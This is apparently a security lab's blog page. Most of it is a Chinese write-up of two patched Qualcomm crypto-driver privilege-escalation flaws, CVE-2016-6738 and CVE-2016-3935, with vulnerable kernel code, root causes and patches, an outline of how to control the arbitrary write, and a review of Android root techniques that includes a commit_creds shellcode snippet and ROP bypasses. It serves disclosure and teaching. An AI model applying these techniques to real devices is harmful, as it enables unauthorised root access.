    图十二中的UP(由发起mount的D-Bus请求中通过key参数传入)做为一个AES key用于解密EVKK,解密后得到的IEVKK;然后将IEVKK做为RSA的密文送入TPM,使用TPM_CHK做为密钥进行解密,解密后得到VKK;最后生成的VKK是一个AES key,用于解密master.0里的EVK,得到包含有FEK和FNEK明文的VK。经过三层解密,终于拿到关键的FEK,那么问题来了,Chromeos的FEK的保存及解密流程与上文介绍的eCryptfs时不一致,FEK不应该是open时从加密文件的头部metadata里的EFEK中解密出来的么?不过一次解密出FEK,全局使用,效率的确比每次读取文件时解析FEK高很多,之后通过key的系统调用将key传入内核的keyring,使用时通过key sign匹配。最后跟上文所述实属异曲同工。
  4. 通过mount系统调用传入option完成挂载。
    该部分与正常的Linux做法一致,在mount的option里传入关键的cipher、key sign、key bytes等信息。
![](TPM-decrypt-VK.png "图十二") 图十二 TPM解密VK的流程

结语 回页首

  ecryptfs建立在系统安全可信的基础上,保护用户数据的安全,核心基础组件是加密密钥,若在内核被攻破后密钥被通过某些手段窃取,ecryptfs的安全性将同样被攻破。另外page cache中加密文件的明文页有可能被交换到swap区,在chromeos中已经禁用了swap,因此不会产生影响,但是其他版本的Linux系统需要注意该问题。
  eCryptfs首次实现到现在已经十年有余,直到近几年才在chromeos和Ubuntu上使用,个人认为除了之前人们的安全意识不如现在强烈外,更重要的是随着处理器性能的增强,eCryptfs加解密引起的文件读写性能下降的问题已经得到缓解。但实际的性能损耗如何,有待继续研究。或许出于性能的原因,年初的时候Google在chromeos实现了基于ext4 crypto的 dircrypto,用于实现跟eCryptfs同样的功能,目前chromeos同时支持eCryptfs和dircrypto,但在60版本后优先采用dircrypto技术,相关技术在另外的文章中进行介绍。
  最后,文中必有未及细看而自以为是的东西,望大家能够去伪存真,更求不吝赐教。

参考资料 回页首

  1. 企业级加密文件系统 eCryptfs 详解
  2. eCryptfs: a Stacked Cryptographic Filesystem
  3. Linux kernel-V4.4.79 sourcecode
  4. chromiumos platform-9653 sourcecode

Digtool - A Virtualization-Based Framework for Detecting Kernel Vulnerabilities

author : Jianfeng Pan, Guanglu Yan, and Xiaocao Fan, IceSword Lab, 360 Internet Security Center

Paper

https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-pan.pdf

Abstract:

Discovering vulnerabilities in operating system (OS) kernels and patching them is crucial for OS security. However, there is a lack of effective kernel vulnerability detection tools, especially for closed-source OSes such as Microsoft Windows. In this paper, we present Digtool, an effective, binary-code-only, kernel vulnerability detection framework. Built atop a virtualization monitor we designed, Digtool successfully captures various dynamic behaviors of kernel execution, such as kernel object allocation, kernel memory access, thread scheduling, and function invoking. With these behaviors, Digtool has identified 45 zero-day vulnerabilities such as out-of-bounds access, use-after-free, and time-of-check-to-time- of-use among both kernel code and device drivers of recent versions of MicrosoftWindows, includingWindows 7 and Windows 10.

高通加解密引擎提权漏洞解析

author : jiayy(@chengjia4574) from IceSword Lab , Qihoo 360


前言 [^]


CVE-2016-3935 和 CVE-2016-6738 是我们发现的高通加解密引擎(Qualcomm crypto engine)的两个提权漏洞,分别在2016年10月11月的谷歌android漏洞榜被公开致谢,同时高通也在2016年10月11月的漏洞公告里进行了介绍和公开致谢。这两个漏洞报告给谷歌的时候都提交了exploit并且被采纳,这篇文章介绍一下这两个漏洞的成因和利用。

背景知识 [^]

高通芯片提供了硬件加解密功能,并提供驱动给内核态和用户态程序提供高速加解密服务,我们在这里收获了多个漏洞,主要有3个驱动

- qcrypto driver:  供内核态程序使用的加解密接口 
- qcedev driver: 供用户态程序使用的加解密接口
- qce driver:  与加解密芯片交互,提供加解密驱动底层接口
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

Documentation/crypto/msm/qce.txt

Linux kernel
(ex:IPSec)<--*Qualcomm crypto driver----+
(qcrypto) |
(for kernel space app) |
|
+-->|
|
| *qce <----> Qualcomm
| driver ADM driver <---> ADM HW
+-->| | |
| | |
| | |
| | |
Linux kernel | | |
misc device <--- *QCEDEV Driver-------+ | |
interface (qcedev) (Reg interface) (DMA interface)
(for user space app) \ /
\ /
\ /
\ /
\ /
\ /
\ /
Qualcomm crypto CE3 HW

qcedev driver 就是本文两个漏洞发生的地方,这个驱动通过 ioctl 接口为用户层提供加解密和哈希运算服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
Documentation/crypto/msm/qcedev.txt

Cipher IOCTLs:
--------------
QCEDEV_IOCTL_ENC_REQ is for encrypting data.
QCEDEV_IOCTL_DEC_REQ is for decrypting data.

The caller of the IOCTL passes a pointer to the structure shown
below, as the second parameter.

struct qcedev_cipher_op_req {
int use_pmem;
union{
struct qcedev_pmem_info pmem;
struct qcedev_vbuf_info vbuf;
};
uint32_t entries;
uint32_t data_len;
uint8_t in_place_op;
uint8_t enckey[QCEDEV_MAX_KEY_SIZE];
uint32_t encklen;
uint8_t iv[QCEDEV_MAX_IV_SIZE];
uint32_t ivlen;
uint32_t byteoffset;
enum qcedev_cipher_alg_enum alg;
enum qcedev_cipher_mode_enum mode;
enum qcedev_oper_enum op;
};

加解密服务的核心结构体是 struct qcedev_cipher_op_req, 其中, 待加/解密数据存放在 vbuf 变量里,enckey 是秘钥, alg 是算法,这个结构将控制内核qce引擎的加解密行为。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
Documentation/crypto/msm/qcedev.txt

Hashing/HMAC IOCTLs
-------------------

QCEDEV_IOCTL_SHA_INIT_REQ is for initializing a hash/hmac request.
QCEDEV_IOCTL_SHA_UPDATE_REQ is for updating hash/hmac.
QCEDEV_IOCTL_SHA_FINAL_REQ is for ending the hash/mac request.
QCEDEV_IOCTL_GET_SHA_REQ is for retrieving the hash/hmac for data
packet of known size.
QCEDEV_IOCTL_GET_CMAC_REQ is for retrieving the MAC (using AES CMAC
algorithm) for data packet of known size.

The caller of the IOCTL passes a pointer to the structure shown
below, as the second parameter.

struct qcedev_sha_op_req {
struct buf_info data[QCEDEV_MAX_BUFFERS];
uint32_t entries;
uint32_t data_len;
uint8_t digest[QCEDEV_MAX_SHA_DIGEST];
uint32_t diglen;
uint8_t *authkey;
uint32_t authklen;
enum qcedev_sha_alg_enum alg;
struct qcedev_sha_ctxt ctxt;
};

哈希运算服务的核心结构体是 struct qcedev_sha_op_req, 待处理数据存放在 data 数组里,entries 是待处理数据的份数,data_len 是总长度。

漏洞成因 [^]

可以通过下面的方法获取本文的漏洞代码

* git clone https://android.googlesource.com/kernel/msm.git
* git checkout android-msm-angler-3.10-nougat-mr2
* git checkout 6cc52967be8335c6f53180e30907f405504ce3dd drivers/crypto/msm/qcedev.c 

CVE-2016-6738 漏洞成因 [^]

现在,我们来看第一个漏洞 cve-2016-6738

介绍漏洞之前,先科普一下linux kernel 的两个小知识点

1) linux kernel 的用户态空间和内核态空间是怎么划分的?

简单来说,在一个进程的地址空间里,比 thread_info->addr_limit 大的属于内核态地址,比它小的属于用户态地址

2) linux kernel 用户态和内核态之间数据怎么传输?

不可以直接赋值或拷贝,需要使用规定的接口进行数据拷贝,主要是4个接口:

copy_from_user/copy_to_user/get_user/put_user

这4个接口会对目标地址进行合法性校验,比如:

copy_to_user = access_ok + __copy_to_user // __copy_to_user 可以理解为是memcpy

下面看漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
file: drivers/crypto/msm/qcedev.c
long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
switch (cmd) {
case QCEDEV_IOCTL_ENC_REQ:
case QCEDEV_IOCTL_DEC_REQ:
if (!access_ok(VERIFY_WRITE, (void __user *)arg,
sizeof(struct qcedev_cipher_op_req)))
return -EFAULT;

if (__copy_from_user(&qcedev_areq.cipher_op_req,
(void __user *)arg,
sizeof(struct qcedev_cipher_op_req)))
return -EFAULT;
qcedev_areq.op_type = QCEDEV_CRYPTO_OPER_CIPHER;

if (qcedev_check_cipher_params(&qcedev_areq.cipher_op_req,
podev))
return -EINVAL;

err = qcedev_vbuf_ablk_cipher(&qcedev_areq, handle);
if (err)
return err;
if (__copy_to_user((void __user *)arg,
&qcedev_areq.cipher_op_req,
sizeof(struct qcedev_cipher_op_req)))
return -EFAULT;
break;
...
}
return 0;
err:
debugfs_remove_recursive(_debug_dent);
return rc;
}

当用户态通过 ioctl 函数进入 qcedev 驱动后,如果 command 是 QCEDEV_IOCTL_ENC_REQ(加密)或者 QCEDEV_IOCTL_DEC_REQ(解密),最后都会调用函数 qcedev_vbuf_ablk_cipher 进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
file: drivers/crypto/msm/qcedev.c
static int qcedev_vbuf_ablk_cipher(struct qcedev_async_req *areq,
struct qcedev_handle *handle)
{
...
struct qcedev_cipher_op_req *creq = &areq->cipher_op_req;

/* Verify Source Address's */
for (i = 0; i < areq->cipher_op_req.entries; i++)
if (!access_ok(VERIFY_READ,
(void __user *)areq->cipher_op_req.vbuf.src[i].vaddr,
areq->cipher_op_req.vbuf.src[i].len))
return -EFAULT;

/* Verify Destination Address's */
if (creq->in_place_op != 1) {
for (i = 0, total = 0; i < QCEDEV_MAX_BUFFERS; i++) {
if ((areq->cipher_op_req.vbuf.dst[i].vaddr != 0) &&
(total < creq->data_len)) {
if (!access_ok(VERIFY_WRITE,
(void __user *)creq->vbuf.dst[i].vaddr,
creq->vbuf.dst[i].len)) {
pr_err("%s:DST WR_VERIFY err %d=0x%lx\n",
__func__, i, (uintptr_t)
creq->vbuf.dst[i].vaddr);
return -EFAULT;
}
total += creq->vbuf.dst[i].len;
}
}
} else {
for (i = 0, total = 0; i < creq->entries; i++) {
if (total < creq->data_len) {
if (!access_ok(VERIFY_WRITE,
(void __user *)creq->vbuf.src[i].vaddr,
creq->vbuf.src[i].len)) {
pr_err("%s:SRC WR_VERIFY err %d=0x%lx\n",
__func__, i, (uintptr_t)
creq->vbuf.src[i].vaddr);
return -EFAULT;
}
total += creq->vbuf.src[i].len;
}
}
}
total = 0;
...
if (areq->cipher_op_req.data_len > max_data_xfer) {
...
} else
err = qcedev_vbuf_ablk_cipher_max_xfer(areq, &di, handle,
... k_align_src);
return err;
}

在 qcedev_vbuf_ablk_cipher 函数里,首先对 creq->vbuf.src 数组里的地址进行了校验,接下去它需要校验 creq->vbuf.dst 数组里的地址

这时候我们发现,当变量 creq->in_place_op 的值不等于 1 时,它才会校验 creq->vbuf.dst 数组里的地址,否则目标地址creq->vbuf.dst[i].vaddr 将不会被校验

这里的 creq->in_place_op 是一个用户层可以控制的值,如果后续代码对这个值没有要求,那么这里就可以通过让 creq->in_place_op = 1 来绕过对 creq->vbuf.dst[i].vaddr 的校验,这是一个疑似漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
file: drivers/crypto/msm/qcedev.c
static int qcedev_vbuf_ablk_cipher_max_xfer(struct qcedev_async_req *areq,
int *di, struct qcedev_handle *handle,
uint8_t *k_align_src)
{
...
uint8_t *k_align_dst = k_align_src;
struct qcedev_cipher_op_req *creq = &areq->cipher_op_req;


if (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR)
byteoffset = areq->cipher_op_req.byteoffset;

user_src = (void __user *)areq->cipher_op_req.vbuf.src[0].vaddr;
if (user_src && __copy_from_user((k_align_src + byteoffset),
(void __user *)user_src,
areq->cipher_op_req.vbuf.src[0].len))
return -EFAULT;

k_align_src += byteoffset + areq->cipher_op_req.vbuf.src[0].len;

for (i = 1; i < areq->cipher_op_req.entries; i++) {
user_src =
(void __user *)areq->cipher_op_req.vbuf.src[i].vaddr;
if (user_src && __copy_from_user(k_align_src,
(void __user *)user_src,
areq->cipher_op_req.vbuf.src[i].len)) {
return -EFAULT;
}
k_align_src += areq->cipher_op_req.vbuf.src[i].len;
}
...
while (creq->data_len > 0) {
if (creq->vbuf.dst[dst_i].len <= creq->data_len) {
if (err == 0 && __copy_to_user(
(void __user *)creq->vbuf.dst[dst_i].vaddr,
(k_align_dst + byteoffset),
creq->vbuf.dst[dst_i].len))
return -EFAULT;

k_align_dst += creq->vbuf.dst[dst_i].len +
byteoffset;
creq->data_len -= creq->vbuf.dst[dst_i].len;
dst_i++;
} else {
if (err == 0 && __copy_to_user(
(void __user *)creq->vbuf.dst[dst_i].vaddr,
(k_align_dst + byteoffset),
creq->data_len))
return -EFAULT;

k_align_dst += creq->data_len;
creq->vbuf.dst[dst_i].len -= creq->data_len;
creq->vbuf.dst[dst_i].vaddr += creq->data_len;
creq->data_len = 0;
}
}
*di = dst_i;

return err;
};

在函数 qcedev_vbuf_ablk_cipher_max_xfer 里,我们发现它没有再用到变量 creq->in_place_op, 也没有对地址 creq->vbuf.dst[i].vaddr 做校验,我们还可以看到该函数最后是使用 __copy_to_user 而不是 copy_to_user 从变量 k_align_dst 拷贝数据到地址 creq->vbuf.dst[i].vaddr

由于** copy_to_user** 本质上只是 memcpy, 且 **copy_to_user** 的目标地址是 creq->vbuf.dst[dst_i].vaddr, 这个地址可以被用户态控制, 这样漏洞就坐实了,我们得到了一个内核任意地址写漏洞。

接下去我们看一下能写什么值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
file: drivers/crypto/msm/qcedev.c
while (creq->data_len > 0) {
if (creq->vbuf.dst[dst_i].len <= creq->data_len) {
if (err == 0 && __copy_to_user(
(void __user *)creq->vbuf.dst[dst_i].vaddr,
(k_align_dst + byteoffset),
creq->vbuf.dst[dst_i].len))
return -EFAULT;

k_align_dst += creq->vbuf.dst[dst_i].len +
byteoffset;
creq->data_len -= creq->vbuf.dst[dst_i].len;
dst_i++;
} else {

再看一下漏洞触发的地方,源地址是 k_align_dst ,这是一个局部变量,下面看这个地址的内容能否控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static int qcedev_vbuf_ablk_cipher_max_xfer(struct qcedev_async_req *areq,
int *di, struct qcedev_handle *handle,
uint8_t *k_align_src)
{
int err = 0;
int i = 0;
int dst_i = *di;
struct scatterlist sg_src;
uint32_t byteoffset = 0;
uint8_t *user_src = NULL;
uint8_t *k_align_dst = k_align_src;
struct qcedev_cipher_op_req *creq = &areq->cipher_op_req;


if (areq->cipher_op_req.mode == QCEDEV_AES_MODE_CTR)
byteoffset = areq->cipher_op_req.byteoffset;

user_src = (void __user *)areq->cipher_op_req.vbuf.src[0].vaddr;
if (user_src && __copy_from_user((k_align_src + byteoffset), // line 1160
(void __user *)user_src,
areq->cipher_op_req.vbuf.src[0].len))
return -EFAULT;

k_align_src += byteoffset + areq->cipher_op_req.vbuf.src[0].len;

在函数 qcedev_vbuf_ablk_cipher_max_xfer 的行 1160 可以看到,变量 k_align_dst 的值是从用户态地址拷贝过来的,可以被控制,但是,还没完

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1178         /* restore src beginning */
1179 k_align_src = k_align_dst;
1180 areq->cipher_op_req.data_len += byteoffset;
1181
1182 areq->cipher_req.creq.src = (struct scatterlist *) &sg_src;
1183 areq->cipher_req.creq.dst = (struct scatterlist *) &sg_src;
1184
1185 /* In place encryption/decryption */
1186 sg_set_buf(areq->cipher_req.creq.src,
1187 k_align_dst,
1188 areq->cipher_op_req.data_len);
1189 sg_mark_end(areq->cipher_req.creq.src);
1190
1191 areq->cipher_req.creq.nbytes = areq->cipher_op_req.data_len;
1192 areq->cipher_req.creq.info = areq->cipher_op_req.iv;
1193 areq->cipher_op_req.entries = 1;
1194
1195 err = submit_req(areq, handle);
1196
1197 /* copy data to destination buffer*/
1198 creq->data_len -= byteoffset;

行1195调用函数 submit_req ,这个函数的作用是提交一个 buffer 给高通加解密引擎进行加解密,buffer 的设置由函数 sg_set_buf 完成,通过行 1186 可以看到,变量 k_align_dst 就是被传进去的 buffer , 经过这个操作后, 变量 k_align_dst 的值会被改变, 即我们通过__copy_to_user 传递给 creq->vbuf.dst[dst_i].vaddr 的值是被加密或者解密过一次的值。

那么我们怎么控制最终写到任意地址的那个值呢?

思路很直接,我们将要写的值先用一个秘钥和算法加密一次,然后再用解密的模式触发漏洞,在漏洞触发过程中,会自动解密,如下:

1) 假设我们最终要写的数据是A, 我们先选一个加密算法和key进行加密

1
2
3
4
5
6
7
buf = A
op = QCEDEV_OPER_ENC // operation 为加密
alg = QCEDEV_ALG_DES // 算法
mode = QCEDEV_DES_MODE_ECB
key = xxx // 秘钥

=> B

2) 然后将B作为参数传入 qcedev_vbuf_ablk_cipher_max_xfer 函数触发漏洞,同时参数设置为解密操作,并且传入同样的解密算法和key

1
2
3
4
5
6
7
buf = B
op = QCEDEV_OPER_DEC //// operation 为解密
alg = QCEDEV_ALG_DES // 一样的算法
mode = QCEDEV_DES_MODE_ECB
key = xxx // 一样的秘钥

=> A

这样的话,经过 submit_req 操作后, line 1204 得到的 k_align_dst 就是我们需要的数据。

至此,我们得到了一个任意地址写任意值的漏洞

CVE-2016-6738 漏洞补丁 [^]

这个 漏洞的修复 很直观,将 in_place_op 的判断去掉了,对 creq->vbuf.src 和 creq->vbuf.dst 两个数组里的地址挨个进行 access_ok 校验

下面看第二个漏洞

CVE-2016-3935 漏洞成因 [^]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
switch (cmd) {
...
case QCEDEV_IOCTL_SHA_INIT_REQ:
{
struct scatterlist sg_src;
if (!access_ok(VERIFY_WRITE, (void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;

if (__copy_from_user(&qcedev_areq.sha_op_req,
(void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
return -EINVAL;
...
break;
...
case QCEDEV_IOCTL_SHA_UPDATE_REQ:
{
struct scatterlist sg_src;
if (!access_ok(VERIFY_WRITE, (void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;

if (__copy_from_user(&qcedev_areq.sha_op_req,
(void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
return -EINVAL;
...
break;
...
default:
return -ENOTTY;
}

return err;
}

在 command 为下面几个case 里都会调用 qcedev_check_sha_params 函数对用户态传入的数据进行合法性校验

  • QCEDEV_IOCTL_SHA_INIT_REQ
  • QCEDEV_IOCTL_SHA_UPDATE_REQ
  • QCEDEV_IOCTL_SHA_FINAL_REQ
  • QCEDEV_IOCTL_GET_SHA_REQ
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

static int qcedev_check_sha_params(struct qcedev_sha_op_req *req,
struct qcedev_control *podev)
{
uint32_t total = 0;
uint32_t i;
...

/* Check for sum of all src length is equal to data_len */
for (i = 0, total = 0; i < req->entries; i++) {
if (req->data[i].len > ULONG_MAX - total) {
pr_err("%s: Integer overflow on total req buf length\n",
__func__);
goto sha_error;
}
total += req->data[i].len;
}

if (total != req->data_len) {
pr_err("%s: Total src(%d) buf size != data_len (%d)\n",
__func__, total, req->data_len);
goto sha_error;
}
return 0;
sha_error:
return -EINVAL;
}

qcedev_check_sha_params 对用户态传入的数据做多种校验,其中一项是对传入的数据数组挨个累加长度,并对总长度做整数溢出校验

问题在于, req->data[i].len 是 uint32_t 类型, 总长度 total 也是 uint32_t 类型,uint32_t 的上限是 UINT_MAX, 而这里使用了 ULONG_MAX 来做校验

1
2
3
4
5
6
7
8
usr/include/limits.h

/* Maximum value an `unsigned long int' can hold. (Minimum is 0.) */
# if __WORDSIZE == 64
# define ULONG_MAX 18446744073709551615UL
# else
# define ULONG_MAX 4294967295UL
# endif

注意到:

  • 32 bit 系统, UINT_MAX = ULONG_MAX
  • 64 bit 系统, UINT_MAX != ULONG_MAX

所以这里的整数溢出校验 在64bit系统是无效的,即在 64bit 系统,req->data 数组项的总长度可以整数溢出,这里还无法确定这个整数溢出能造成什么后果。

下面看看有何影响,我们选取 case QCEDEV_IOCTL_SHA_UPDATE_REQ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

long qcedev_ioctl(struct file *file, unsigned cmd, unsigned long arg)
{
...
case QCEDEV_IOCTL_SHA_UPDATE_REQ:
{
struct scatterlist sg_src;
if (!access_ok(VERIFY_WRITE, (void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;

if (__copy_from_user(&qcedev_areq.sha_op_req,
(void __user *)arg,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
if (qcedev_check_sha_params(&qcedev_areq.sha_op_req, podev))
return -EINVAL;
qcedev_areq.op_type = QCEDEV_CRYPTO_OPER_SHA;

if (qcedev_areq.sha_op_req.alg == QCEDEV_ALG_AES_CMAC) {
err = qcedev_hash_cmac(&qcedev_areq, handle, &sg_src);
if (err)
return err;
} else {
if (handle->sha_ctxt.init_done == false) {
pr_err("%s Init was not called\n", __func__);
return -EINVAL;
}
err = qcedev_hash_update(&qcedev_areq, handle, &sg_src);
if (err)
return err;
}

memcpy(&qcedev_areq.sha_op_req.digest[0],
&handle->sha_ctxt.digest[0],
handle->sha_ctxt.diglen);
if (__copy_to_user((void __user *)arg, &qcedev_areq.sha_op_req,
sizeof(struct qcedev_sha_op_req)))
return -EFAULT;
}
break;
...
return err;
}

qcedev_areq.sha_op_req.alg 的值也是应用层控制的,当等于 QCEDEV_ALG_AES_CMAC 时,进入函数 qcedev_hash_cmac

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56

868 static int qcedev_hash_cmac(struct qcedev_async_req *qcedev_areq,
869 struct qcedev_handle *handle,
870 struct scatterlist *sg_src)
871 {
872 int err = 0;
873 int i = 0;
874 uint32_t total;
875
876 uint8_t *user_src = NULL;
877 uint8_t *k_src = NULL;
878 uint8_t *k_buf_src = NULL;
879
880 total = qcedev_areq->sha_op_req.data_len;
881
882 /* verify address src(s) */
883 for (i = 0; i < qcedev_areq->sha_op_req.entries; i++)
884 if (!access_ok(VERIFY_READ,
885 (void __user *)qcedev_areq->sha_op_req.data[i].vaddr,
886 qcedev_areq->sha_op_req.data[i].len))
887 return -EFAULT;
888
889 /* Verify Source Address */
890 if (!access_ok(VERIFY_READ,
891 (void __user *)qcedev_areq->sha_op_req.authkey,
892 qcedev_areq->sha_op_req.authklen))
893 return -EFAULT;
894 if (__copy_from_user(&handle->sha_ctxt.authkey[0],
895 (void __user *)qcedev_areq->sha_op_req.authkey,
896 qcedev_areq->sha_op_req.authklen))
897 return -EFAULT;
898
899
900 k_buf_src = kmalloc(total, GFP_KERNEL);
901 if (k_buf_src == NULL) {
902 pr_err("%s: Can't Allocate memory: k_buf_src 0x%lx\n",
903 __func__, (uintptr_t)k_buf_src);
904 return -ENOMEM;
905 }
906
907 k_src = k_buf_src;
908
909 /* Copy data from user src(s) */
910 user_src = (void __user *)qcedev_areq->sha_op_req.data[0].vaddr;
911 for (i = 0; i < qcedev_areq->sha_op_req.entries; i++) {
912 user_src =
913 (void __user *)qcedev_areq->sha_op_req.data[i].vaddr;
914 if (user_src && __copy_from_user(k_src, (void __user *)user_src,
915 qcedev_areq->sha_op_req.data[i].len)) {
916 kzfree(k_buf_src);
917 return -EFAULT;
918 }
919 k_src += qcedev_areq->sha_op_req.data[i].len;
920 }
...
}

在函数 qcedev_hash_cmac 里, line 900 申请的堆内存 k_buf_src 的长度是 qcedev_areq->sha_op_req.data_len ,即请求数组里所有项的长度之和

然后在 line 911 ~ 920 的循环里,会将请求数组 qcedev_areq->sha_op_req.data[] 里的元素挨个拷贝到堆 k_buf_src 里,由于前面存在的整数溢出漏洞,这里会转变成为一个堆溢出漏洞,至此漏洞坐实。

CVE-2016-3935 漏洞补丁 [^]

这个 漏洞补丁 也很直观,就是在做整数溢出时,将 ULONG_MAX 改成了 U32_MAX, 这种因为系统由32位升级到64位导致的代码漏洞,是 2016 年的一类常见漏洞

下面进入漏洞利用分析

漏洞利用 [^]

android kernel 漏洞利用基础

在介绍本文两个漏洞的利用之前,先回顾一下 android kernel 漏洞利用的基础知识

什么是提权 [^]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include/linux/sched.h

struct task_struct {
volatile long state; /* -1 unrunnable, 0 runnable, >0 stopped */
void *stack;
...
/* process credentials */
const struct cred __rcu *real_cred; /* objective and real subjective task
* credentials (COW) */
const struct cred __rcu *cred; /* effective (overridable) subjective task
* credentials (COW) */
char comm[TASK_COMM_LEN]; /* executable name excluding path
- access with [gs]et_task_comm (which lock
it with task_lock())
- initialized normally by setup_new_exec */
...
}

linux kernel 里,进程由 struct task_struct 表示,进程的权限由该结构体的两个成员 real_credcred 表示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

include/linux/cred.h

struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
}

所谓提权,就是修改进程的 real_cred/cred 这两个结构体的各种 id 值,随着缓解措施的不断演进,完整的提权过程还需要修改其他一些内核变量的值,但是最基础的提权还是修改本进程的 cred, 这个任务又可以分解为多个问题:

  • 怎么找到目标 cred ?
  • cred 所在内存页面是否可写?
  • 如何利用漏洞往 cred 所在地址写值?

利用方法回顾 [^]

[图片来自]

上图是最近若干年围绕 android kernel 漏洞利用和缓解的简单回顾,

  • 09 ~ 10 年的时候,由于没有对 mmap 的地址范围做任何限制,应用层可以映射0页面,null pointer deref 漏洞在当时也是可以做利用的,后面针对这种漏洞推出了 mmap_min_addr 限制,目前 null pointer deref 漏洞一般只能造成 dos.

  • 11 ~ 13 年的时候,常用的提权套路是从 /proc/kallsyms 搜索符号 commit_credsprepare_kernel_cred 的地址,然后在用户态通过这两个符号构造一个提权函数(如下),

1
2
3
4
5
6
7
shellcode:

static void
obtain_root_privilege_by_commit_creds(void)
{
commit_creds(prepare_kernel_cred(0));
}

可以看到,这个阶段的用户态 shellcode 非常简单, 利用漏洞改写内核某个函数指针(最常见的就是 ptmx 驱动的 fsync 函数)将其实现替换为用户态的函数, 最后在用户态调用被改写的函数, 这样的话从内核直接执行用户态的提权函数完成提权

这种方法在开源root套件 android_run_root_shell 得到了充分提现

后来,内核推出了kptr_restrict/dmesg_restrict 措施使得默认配置下无法从 /proc/kallsyms 等接口搜索内核符号的地址

但是这种缓解措施很容易绕过, android_run_root_shell 里提供了两种方法:

  1. 通过一些内存 pattern 直接在内存空间里搜索符号地址,从而得到 commit_creds/prepare_kernel_cred 的值;
    libkallsyms:get_kallsyms_in_memory_addresses

  2. 放弃使用 commit_creds/prepare_kernel_cred 这两个内核函数,从内核里直接定位到 task_struct 和 cred 结构并改写
    obtain_root_privilege_by_modify_task_cred

  • 2013 推出 text RO 和 PXN 等措施,通过漏洞改写内核代码段或者直接跳转到用户态执行用户态函数的提权方式失效了, android_run_root_shell 这个项目里的方法大部分已经失效, 在 PXN 时代,主要的提权思路是使用rop

具体的 rop 技巧有几种,

  1. 下面两篇文章讲了基本的 linux kernel ROP 技巧

Linux Kernel ROP - Ropping your way to # (Part 1)

Linux Kernel ROP - Ropping your way to # (Part 2)

可以看到这两篇文章的方法是搜索一些 rop 指令 ,然后用它们串联 commit_creds/prepare_kernel_cred, 是对上一阶段思路的自然延伸。

  1. 使用 rop 改写 addr_limit 的值,破除本进程的系统调用 access_ok 校验,然后通过一些函数如 ptrace_write_value_at_address 直接读写内核来提权, 将 selinux_enforcing 变量写0关闭 selinux

  2. 大名鼎鼎的 Ret2dir bypass PXN

  3. 还有就是本文使用的思路,用漏洞重定向内核驱动的 xxx_operations 结构体指针到应用层,再用 rop 地址填充应用层的伪 xxx_operations 里的函数实现

  4. 还有一些 2017 新出来的绕过缓解措施的技巧,参考

  • 进入2017年,更多的漏洞缓解措施正在被开发和引进,谷歌的nick正在主导开发的项目 Kernel_Self_Protection_Project 对内核漏洞提权方法进行了分类整理,如下

针对以上提权方法,Kernel_Self_Protection_Project 开发了对应的一系列缓解措施,目前这些措施正在逐步推入linux kernel 主线,下面是其中一部分缓解方案,可以看到,我们回顾的所有利用方法都已经被考虑在内,不久的将来,这些方法可能都会失效

  • Split thread_info off of kernel stack (Done: x86, arm64, s390. Needed on arm, powerpc and others?) * Move kernel stack to vmap area (Done: x86, s390. Needed on arm, arm64, powerpc and others?)
  • Implement kernel relocation and KASLR for ARM
  • Write a plugin to clear struct padding
  • Write a plugin to do format string warnings correctly (gcc’s -Wformat-security is bad about const strings)
